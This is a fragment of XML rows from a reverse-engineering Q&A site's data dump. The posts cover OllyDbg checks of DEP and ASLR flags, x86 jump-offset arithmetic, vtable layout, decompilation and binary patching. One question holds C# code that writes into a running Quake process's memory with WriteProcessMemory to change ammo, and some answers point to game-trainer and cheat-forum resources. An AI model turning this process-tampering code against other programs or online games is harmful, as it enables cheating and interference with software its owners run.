thread being used" Tags="|assembly|x86|c++|dll-injection|thread|" AnswerCount="1" CommentCount="4" ClosedDate="2016-05-25T05:53:45.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="12611" PostTypeId="1" CreationDate="2016-05-08T23:58:00.383" Score="2" ViewCount="3740" Body="&lt;p&gt;In case Immunity Debugger (and hence mona) doesn't work for me, is there a quick way for me to check loaded image for DEP, SafeSEH and ASLR using OllyDbg alone? Manual inspection is acceptable too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that ASLR can be manually verify by restarting the application a few times and see if the base address changes. Am I correct? How about SafeSEH and DEP?&lt;/p&gt;&#xA;" OwnerUserId="14289" LastActivityDate="2016-09-23T00:19:04.450" Title="ollydbg ASLR and DEP bypass without mona" Tags="|ollydbg|immunity-debugger|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12612" PostTypeId="2" ParentId="12611" CreationDate="2016-05-09T00:50:21.377" Score="4" Body="&lt;p&gt;After figuring out that ASLR (Dynamic base) and DEP (NX compatible) flags in PE header can be inspect using dumpbin.exe /headers, I found out that the same PE header mapping is available in Ollydbg.  (I am using Ollydbg 2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just open the Memory Map window in Ollydbg, find the image (under Owner column) you want, look for the row with &quot;PE header&quot; (under Contains column) and double click the base address (under Address column).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will bring up the PE header mapping.  Look for the role that says &quot;DLLCharacteristics&quot; (a few rows after the IMAGE_NT_OPTIONAL_HDR32_MAGIC row).&lt;/p&gt;&#xA;" OwnerUserId="14289" LastActivityDate="2016-05-09T00:50:21.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12613" PostTypeId="2" ParentId="12609" CreationDate="2016-05-09T05:46:10.057" Score="2" Body="&lt;p&gt;Your question is a bit unclear as you first say &quot;Class C has a method &quot;addListerner&quot; which points to an attribute (this + 0x34).&quot;, then &lt;code&gt;D::addListener(this + 0x34);&lt;/code&gt;. Typo?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you should read about (typical) implementations of multiple inheritance. Assume your classes B, C, D have methods &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;, &lt;code&gt;d&lt;/code&gt; respectively. A will inherit all of them. Now, if A does &lt;em&gt;not&lt;/em&gt; override these methods, and anything calls them, they have to be delegated to the correct superclass - the original methods. But these original methods will expect a class layout that corresponds to the original classes. Which means, A needs to &quot;embed&quot; all 3 classes into itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which means A will be laid out like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-----+-------------------+&#xA;|  00 | vtable of A       |&#xA;+-----+-------------------+&#xA;|  04 | member 1 of A     |&#xA;|  08 | member 2 of A     |&#xA;|     | ...               |&#xA;+-----+-------------------+&#xA;|  28 | vtable of B       |&#xA;+-----+-------------------+&#xA;|  2c | member 1 of B     |&#xA;|  30 | member 2 of B     |&#xA;|     | ...               |&#xA;+-----+-------------------+&#xA;|  34 | vtable of C       |&#xA;+-----+-------------------+&#xA;|  38 | member 1 of C     |&#xA;|  3c | member 2 of C     |&#xA;|     | ...               |&#xA;+-----+-------------------+&#xA;|  ?? | vtable of D       |&#xA;+-----+-------------------+&#xA;|  ?? | member 1 of D     |&#xA;|  ?? | member 2 of D     |&#xA;|     | ...               |&#xA;+-----+-------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, yes, your conclusion is correct: &lt;code&gt;D::addListener()&lt;/code&gt; adds the class itself to the listener. But because &lt;code&gt;D::addListener()&lt;/code&gt; expects a &lt;code&gt;D&lt;/code&gt;, not an &lt;code&gt;A&lt;/code&gt;, the thing that's passed isn't the complete &lt;code&gt;A&lt;/code&gt;, it's just the part of &lt;code&gt;A&lt;/code&gt; that makes &lt;code&gt;D&lt;/code&gt;. To make this look exactly like a &lt;code&gt;D&lt;/code&gt;, it needs its own vtable that looks like a &lt;code&gt;D&lt;/code&gt; vtable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But of course, parts of these vtables can be shared. &lt;code&gt;A&lt;/code&gt; needs all methods in its vtable, so the vtable pointers of the partial classes &lt;code&gt;B&lt;/code&gt;, &lt;code&gt;C&lt;/code&gt; and &lt;code&gt;D&lt;/code&gt; can point to the appropriate part of the &lt;code&gt;A&lt;/code&gt;s vtable, they don't need their complete own copies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to your &quot;what's going on here&quot; questions - these initialize the vtables of the partial classes. (In your assembly listing, you should treat those addresses as arrays of words, not bytes). What i wonder is why there's only 3 of them, there should be 4 for &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;B&lt;/code&gt;, &lt;code&gt;C&lt;/code&gt; and &lt;code&gt;D&lt;/code&gt;. Something seems to be confused or omitted here, just like you said &quot;Class C has&quot; first, then used &lt;code&gt;D::addListener&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2016-05-09T05:53:38.890" LastActivityDate="2016-05-09T05:53:38.890" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12614" PostTypeId="2" ParentId="12487" CreationDate="2016-05-09T12:26:46.363" Score="0" Body="&lt;p&gt;From what I found out when I searched a bit for a chat bot, you will have a hard time finding out the UUID. With the old private chat rooms you were able to get the id by sending an invite to the room. But now even the invites to the clubs are handled by the rtmp server of Riot (afaik but def. not from xmpp) and most clients/libs/apis to connect to this server were discontinued from development in 2014 when Riot introduced their API and planned to ban the accounts used for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option you could try is to search in the logs of the client. At least the public chatrooms are saved in a file if you tick them as open on startup. &#xA;I miss the really extensive logs of everything they produced in 2011. It included everything from chatroom names to names of pre/postmatch chat room names etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find a solution I would be interested in it.&lt;/p&gt;&#xA;" OwnerUserId="16032" LastActivityDate="2016-05-09T12:26:46.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12615" PostTypeId="1" CreationDate="2016-05-10T09:08:12.143" Score="1" ViewCount="1605" Body="&lt;p&gt;I dont know how to calculate the jump distances :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Address | Binary value| ollydbg(jmp, call...)]&#xA;&#xA;004014B6   $- FF25 30114000 JMP DWORD PTR DS:[&amp;lt;&amp;amp;MSVBVM60.#100&amp;gt;]      ;  MSVBVM60.ThunRTMain&#xA;004014C1   .  E8 **F0FFFFFF**   CALL [JMP.&amp;amp;MSVBVM60.#100]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;other examples: random jmps to 004014C1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0040752A    ^\E9 **929FFFFF**   JMP stub2.004014C1&#xA;00407561    ^\E9 **5B9FFFFF**   JMP stub2.004014C1&#xA;00407582    ^\E9 **3A9FFFFF**   JMP stub2.004014C1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as you can see the bold number changes, I can see its a distance but I don't know how to calculate it.&lt;/p&gt;&#xA;" OwnerUserId="16046" LastEditorUserId="4154" LastEditDate="2016-05-10T10:04:29.683" LastActivityDate="2016-05-10T10:16:21.713" Title="how to calculate this distance?" Tags="|assembly|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12616" PostTypeId="2" ParentId="12615" CreationDate="2016-05-10T10:16:21.713" Score="2" Body="&lt;p&gt;First, you should read about &lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;nofollow&quot;&gt;little endianness&lt;/a&gt;. In a nutshell, the x86/x64 processors store the least significant byte first, so &lt;code&gt;F0FFFFFF&lt;/code&gt; is really the value &lt;code&gt;FFFFFFF0&lt;/code&gt;, and &lt;code&gt;3A9FFFFF&lt;/code&gt; is the value &lt;code&gt;FFFF9F3A&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, read about &lt;a href=&quot;https://en.wikipedia.org/wiki/Signed_number_representations&quot; rel=&quot;nofollow&quot;&gt;integer representations of negative values&lt;/a&gt;, and how overflow works when adding/subtracting numbers. In short, &lt;code&gt;FFFFFFF0&lt;/code&gt; can either mean &lt;code&gt;4294967280&lt;/code&gt; or &lt;code&gt;-16&lt;/code&gt;, but when you add hex numbers, you don't really care; you just add them and ignore overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, remember that jump offsets are calculated from the byte &lt;em&gt;after&lt;/em&gt; the &lt;code&gt;jmp&lt;/code&gt;/&lt;code&gt;call&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in your first example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;start with &lt;code&gt;4014B6&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;add 6 bytes for the instruction, result &lt;code&gt;4014BA&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;add the value &lt;code&gt;401130&lt;/code&gt;, result &lt;code&gt;8025EA&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and the first of your random examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;start with &lt;code&gt;40752A&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;add 5 bytes for the instruction, result &lt;code&gt;40752F&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;add &lt;code&gt;FFFF9F92&lt;/code&gt;, result &lt;code&gt;1004014C1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;ignore overflow, result &lt;code&gt;004014C1&lt;/code&gt; which is the target Olly shows you.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your other examples work in the same way, you should be able to figure them out now.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-05-10T10:16:21.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12618" PostTypeId="1" CreationDate="2016-05-10T12:06:26.807" Score="0" ViewCount="683" Body="&lt;p&gt;First of all, i want to say that this is not to be used for cheating in online games, or give me an advantage over other players, it is striclty for learning purposes, and games are fun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have in a long time wanted to get a bit more in depth with the memory, reading assembly and reverse engineering. So i have fired up good old Quake for a fun exercise, to give myself ammo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i have used a &lt;a href=&quot;http://www.unknowncheats.me/forum/general-programming-and-reversing/100677-crysearch-memory-scanner.html&quot; rel=&quot;nofollow&quot;&gt;memory searcher&lt;/a&gt; and found the dynamic address in memory that holds my ammo count. With the same tool i have found the address of the instruction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;42ABED  89 34 38    mov dword ptr [eax+edi], esi // Instruction&#xA;&#xA;// DUMP&#xA;4E7E4A4  // 23.f Dynamic address of the ammo count&#xA;ESI = 41B80000&#xA;EAX = 4A4&#xA;EDI = 4E7E000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Surrounding assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0042ABDC  | mov dword ptr ds:[edi],eax              | edi:DbgUiRemoteBreakin&#xA;0042ABDE  | jmp glquake.42A6DF                      |&#xA;0042ABE3  | mov eax,dword ptr ds:[edi]              | edi:DbgUiRemoteBreakin&#xA;0042ABE5  | mov edi,dword ptr ds:[80B874]           |&#xA;0042ABEB  | mov esi,dword ptr ds:[esi]              | esi:DbgUiRemoteBreakin&#xA;0042ABED  | mov dword ptr ds:[eax+edi],esi          |&#xA;0042ABF0  | jmp glquake.42A6DF                      |&#xA;0042ABF5  | mov edi,dword ptr ds:[edi]              | edi:DbgUiRemoteBreakin&#xA;0042ABF7  | mov eax,dword ptr ds:[80B874]           |&#xA;0042ABFC  | add edi,eax                             |&#xA;0042ABFE  | mov eax,dword ptr ds:[esi]              | esi:DbgUiRemoteBreakin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So after a lot of reading forums i think i have understood some of it;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ESI&lt;/code&gt; is what that holds my ammo, it is the hexadecimal representation of 23, which in fact is correct according to my notes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EAX + EDI is my dynamic address for the ammo count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;4A4 + 4E7E000 = 4E7E4A4&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i took a wild guess here, if i write a byte array to the address of the instruction, would it set my ammo? sadly not and here is what i did:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C#&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;float ammoToGive = 100.0F;&#xA;Process gameProcess = Process.GetProcesses().Where(x =&amp;gt; x.ProcessName.ToLower().Contains(&quot;glquake&quot;)).FirstOrDefault();&#xA;IntPtr processHandle = WinApi.OpenProcess(0x1F0FFF, false, gameProcess.Id);&#xA;int bytesWritten = 0;&#xA;byte[] buffer = BitConverter.GetBytes(ammoToGive);&#xA;WinApi.WriteProcessMemory((int)processHandle, 0x42ABED, buffer, (UInt32)buffer.Length, ref bytesWritten);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So when firing of this the game crashed.. Apparently there is more to this and i cant seem to fully understand how this instruction works. What would the next steps for me be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the address for the instruction the wrong place to send this? If so, how would i get the correct address in memory to send this to?&lt;/p&gt;&#xA;" OwnerUserId="16048" LastEditorUserId="16048" LastEditDate="2016-05-10T12:20:59.143" LastActivityDate="2016-05-11T00:52:45.557" Title="Trying to reverse assembly code of a game so i can write to memory" Tags="|assembly|memory|c#|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12619" PostTypeId="1" AcceptedAnswerId="12620" CreationDate="2016-05-10T12:18:20.053" Score="0" ViewCount="139" Body="&lt;p&gt;I was playing around with Intel Pin and OllyDbg. And now I came up with the next question. Imagine we have PE32 executable that are able to run on both Windows 7 and Windows 10 (or any other versions of Windows). If I will use the same disassembler on both OS's will it produce the same assembly code for the same binary? (I don't have a possibility to check it right now) If yes, does this mean that if executable doesn't rely on some very version-specific functions of OS it will produce the same CPU and memory activity (if we have similar hardware with different OS versions) while running under different OS versions? What about the same OS but different CPU's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words will the following code result in the same activity under different OS's on the same hardware, and under same OS but diferent hardware?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EBX, [VAR_NAME]     &#xA;MOV [EBX], 110  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you.        &lt;/p&gt;&#xA;" OwnerUserId="15278" LastActivityDate="2016-05-10T13:13:20.270" Title="How the same executable runs on different OS and hardware types?" Tags="|disassembly|windows|ollydbg|pe|pintool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12620" PostTypeId="2" ParentId="12619" CreationDate="2016-05-10T13:05:28.263" Score="0" Body="&lt;p&gt;Yes, that code will always do the same thing, for some reasonable definition of &quot;same&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it didn't, no windows 7 program would be able to work with windows 8, and no windows 8 program would be able to work with windows 10. As long as programs only use documented OS APIs, Microsoft &quot;guarantees&quot; that they behave the same over a variety of Windows versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there are differences; Windows 10 GUIs look quite different from Windows 7 GUIs. So you could say your program behaves differently; that's because the business logic of your program is within the program itself; the window-drawing-and-decoration stuff is done in Windows libraries. That's why i said &quot;reasonable definition&quot; of &quot;same&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, different OSes may lay out memory differently; the address that &lt;code&gt;VAR_NAME&lt;/code&gt; refers to might be quite different between Windows 7 and Windows 10. In fact, since the introduction of &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow&quot;&gt;ASLR&lt;/a&gt;, the address may - and in most cases will - change if you run the same program twice on the same machine. All that the OS guarantees is that during one single invocation of the program, the address will not change. Which means all your &lt;code&gt;[VAR_NAME]&lt;/code&gt; references will use the same chunk of memory, which is really all your program cares about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, Windows uses &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_address_space&quot; rel=&quot;nofollow&quot;&gt;virtual addressing&lt;/a&gt;  for its processes, which means the address your program sees has nothing (easily discernible) to do with the actually used memory address. The physical page your variable is mapped to may change, repeatedly, while your program is running. So again, lots of things that happen may be different, but your program won't notice (unless it tries hard to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on the hardware level, lots of things are different as well between CPUs; for example, they have different cache implementations. Which means one CPU might actually access memory every time you read your variable, while another accesses it only once and keeps it in cache. So again, lots of things that happen can be different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good new is, your program doesn't want or need to care about it; the OS hides this stuff from your program. From &lt;em&gt;within your program&lt;/em&gt;, your instructions always do the same thing - they set a variable to 110, and unless something changes it, it will be 110 the next time you read it. Which is, in fact, all that a normal program needs to know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also asked if the disassembly will always be the same. Yes it will, in almost all cases. The same executable will always have the same content (assuming no malware changes stuff ...) which translates to the same assembly. However, some executable formats will allow you to combine more than one executable into one simple file. &lt;a href=&quot;https://de.wikipedia.org/wiki/Fat_Binary&quot; rel=&quot;nofollow&quot;&gt;Apple did this&lt;/a&gt; when they moved from one architecture to another. So if you have one of those binaries, it will contain two versions of the same program, one for the PowerPC architecture, and one for the x64 architecture, which, of course, translate to very different disassembled code. But this is not something that should concern you while you're working with Windows. (I seem to remember MS had something similar with Windows 2000 which suported various architectures, but i don't have a reference right now, so i may be wrong; also, this hasn't been a thing for at least 10 years now).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2016-05-10T13:13:20.270" LastActivityDate="2016-05-10T13:13:20.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12621" PostTypeId="1" CreationDate="2016-05-10T13:14:53.903" Score="0" ViewCount="5024" Body="&lt;p&gt;I'm trying to decompile a c# dll and on a particular method I'm getting this result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public IEnumerable&amp;lt;Guid&amp;gt; GetDbIdentifiers(int classId)&#xA;{&#xA;    switch ((794999935 == 794999935) ? 1 : 0)&#xA;    {&#xA;    case 0:&#xA;    case 2:&#xA;        IL_1E:&#xA;        break;&#xA;    case 1:&#xA;        goto IL_1F;&#xA;    }&#xA;    goto IL_1E;&#xA;    IL_1F:&#xA;    if (0 == 0)&#xA;    {&#xA;    }&#xA;    if (1 == 0)&#xA;    {&#xA;    }&#xA;    int arg_2E_0 = 0;&#xA;    DatabaseHandler.Class106 @class = new DatabaseHandler.Class106(-2);&#xA;    @class.databaseHandler_0 = this;&#xA;    @class.int_3 = classId;&#xA;    return @class;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's calling a inner class Class106 inside DatabaseHandler, but it seems it cannot decompile this inner class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried dotPeek, ILSpy, JustDecompile and Reflector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best result I got was with Reflector, it decompiled the class partially. The definition is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[CompilerGenerated]&#xA;private sealed class Class106 : IDisposable, IEnumerable&amp;lt;Guid&amp;gt;, IEnumerator&amp;lt;Guid&amp;gt;, IEnumerable, IEnumerator&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I read in many forums that Enumerators are decompiled as inner classes and no decompiler can produce usable code. It seems the case, since the Class106 implements IEnumerable and IEnumerator interfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any clue on how I could patch this manually?&lt;/p&gt;&#xA;" OwnerUserId="16050" LastEditorUserId="3615" LastEditDate="2016-05-14T21:19:23.000" LastActivityDate="2019-10-08T10:08:51.687" Title="Issue decompiling c# method" Tags="|decompilation|dll|c#|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12622" PostTypeId="2" ParentId="12618" CreationDate="2016-05-10T13:29:35.333" Score="1" Body="&lt;p&gt;Firstly, i doubt that quake uses a float variable for the ammo count; floats are much slower than integers, and there's not really a need for a floating point value. So if you had 23 ammo, and the scanner found a 23.0 float variable, you &lt;em&gt;probably&lt;/em&gt; have the wrong location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, the address that the ammo count gets written to is the sum of &lt;code&gt;eax&lt;/code&gt; and &lt;code&gt;edi&lt;/code&gt;, where &lt;code&gt;eax&lt;/code&gt; looks like an input variable, and &lt;code&gt;edx&lt;/code&gt; like a pointer that's stored in some global constant. Maybe that pointer gets initialized by &lt;code&gt;malloc()&lt;/code&gt;. It may be different every time you run the program. Next run, there's something at the same address that's completely unrelated, and your program crashes because you overwrite that other thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the best thing you can do is run the program under a debugger like &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff551063%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;WinDBG&lt;/a&gt;  or &lt;a href=&quot;http://www.ollydbg.de/&quot; rel=&quot;nofollow&quot;&gt;Ollydebug&lt;/a&gt;, set a breakpoint at that location, and check if it really gets hit if and only if your ammo count changes (you pick up an ammo pack or fire a shot in game). Try changing the variable at that address from the debugger. If that works, start the program a few times, find out how the address changes and how to find the correct one, then code that in your C# program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, as you say in your comment, the debugger shows that &lt;code&gt;eax&lt;/code&gt; is always &lt;code&gt;4A4&lt;/code&gt; at this point, i'd change the C# program to read the content of &lt;code&gt;80B874&lt;/code&gt;, add &lt;code&gt;4A4&lt;/code&gt;, read the float there, and display it, along with the content of &lt;code&gt;80B874&lt;/code&gt;. Start quake, run your program, play for a few minutes, run your program again. Stop quake and repeat from start a few times. Analyze if/when the content of &lt;code&gt;80B874&lt;/code&gt; changes and if the ammo count is correct. Once you have your program at the point that it displays the correct ammo count, every time, start changing the ammo count.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2016-05-10T15:28:13.720" LastActivityDate="2016-05-10T15:28:13.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12623" PostTypeId="1" AcceptedAnswerId="12697" CreationDate="2016-05-10T17:40:25.800" Score="1" ViewCount="789" Body="&lt;p&gt;Whenever I hover over a SSE variable, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;correct = tmp_corr;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which are both declared as &lt;code&gt;__m128&lt;/code&gt; IDA shows them as a string of bytes, e.g. &quot;\x00\x00...&quot;  sometimes even weird characters...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to make it display it as 4 floats instead or similar?&lt;/p&gt;&#xA;" OwnerUserId="16052" LastActivityDate="2016-05-20T11:33:24.063" Title="IDA debugging SSE intrinsics" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12625" PostTypeId="1" AcceptedAnswerId="12640" CreationDate="2016-05-10T21:58:47.487" Score="3" ViewCount="2721" Body="&lt;p&gt;How can I find the address of a Windows kernel function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I'm trying to find CreateThread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done from a debugger? Olly/Immunity?&lt;/p&gt;&#xA;" OwnerUserId="12806" LastActivityDate="2016-08-11T21:20:50.643" Title="Find Address of Windows Kernel Functions" Tags="|windows|debuggers|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12626" PostTypeId="2" ParentId="11663" CreationDate="2016-05-11T00:22:29.380" Score="0" Body="&lt;p&gt;It is easy as pie.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                33 F6 56 56 51 FF 15 F0 C1 4A 00 85 C0&#xA;changed into -&amp;gt; 33 F6 90 90 51 FF 15 F0 C1 4A 00 85 C0&#xA;                      ^^ ^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And change the String in Import table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;49 6E 69 74 69 61 6C 69 7A 65 43 72 69 74 69 63 61 6C 53 65 63 74 69 6F 6E 45 78 00 // InitializeCriticalSectionEx&#xA;49 6E 69 74 69 61 6C 69 7A 65 43 72 69 74 69 63 61 6C 53 65 63 74 69 6F 6E 00 00 00  // InitializeCriticalSection &#xA;                                                                           ^^ ^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16059" LastEditorUserId="53" LastEditDate="2016-05-11T07:51:02.533" LastActivityDate="2016-05-11T07:51:02.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12627" PostTypeId="2" ParentId="12625" CreationDate="2016-05-11T00:30:47.447" Score="5" Body="&lt;p&gt;From WinDbg you can use the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff561506.aspx&quot;&gt;&lt;code&gt;x&lt;/code&gt;&lt;/a&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; x nt!NtCreateThread&#xA;830e4fda          nt!NtCreateThread (&amp;lt;no parameter info&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I lookup the address for the &lt;code&gt;NtCreateThread&lt;/code&gt; function above, WinDbg tells me that &lt;code&gt;NtCreateThread&lt;/code&gt; is at address &lt;code&gt;0x830e4fda&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You'd probably want to use &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/livekd.aspx&quot;&gt;LiveKd&lt;/a&gt; instead as it's easier than hooking up a remote kernel debugger.)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-05-11T00:30:47.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12628" PostTypeId="2" ParentId="12618" CreationDate="2016-05-11T00:52:45.557" Score="0" Body="&lt;p&gt;I highly recommend reading through the following tutorial on creating a game trainer with C#.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sites.google.com/site/hellobigworld112/programming/gametrainerswithcsharp&quot; rel=&quot;nofollow&quot;&gt;https://sites.google.com/site/hellobigworld112/programming/gametrainerswithcsharp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just use it for a template initially for testing until you understand everything about it, including what differs from your current solution. It's a relatively short tutorial, but it should give you a lot of ancillary research to follow through with.&lt;/p&gt;&#xA;" OwnerUserId="16060" LastActivityDate="2016-05-11T00:52:45.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12629" PostTypeId="1" CreationDate="2016-05-11T02:28:36.883" Score="1" ViewCount="2649" Body="&lt;p&gt;I've been playing around with decompiling Android apps from dex/jar files to java source code, with varying success. I've tried the usual suspects - JD-GUI, procyon, cfr, krakatau and jadx. I'm having a specific problem with all of them on a particular app in that it's obfuscated, and many classes seem to be split up into multiple files. AFAIK, this isn't allowed in Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the classes seem to extends multiple base classes, e.g. class a extends Activity, and class a(or renamed to something else but I know is actually class a as it tries to access a's private member variables directly) extends BroadcastReceiver. AFAIK, this isn't allowed in Java either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, the decompiled code is full of errors and hard to follow. I'm not expecting a compileable code form the decompiled code, but I do wish to at least be able to perform meaningful static analysis, which is hard to do when the decompiled source doesn't follow java conventions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on how to resolve this decompilation issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15717" LastActivityDate="2016-05-11T03:03:00.360" Title="Decompiled Java classes span multiple files" Tags="|decompilation|java|deobfuscation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
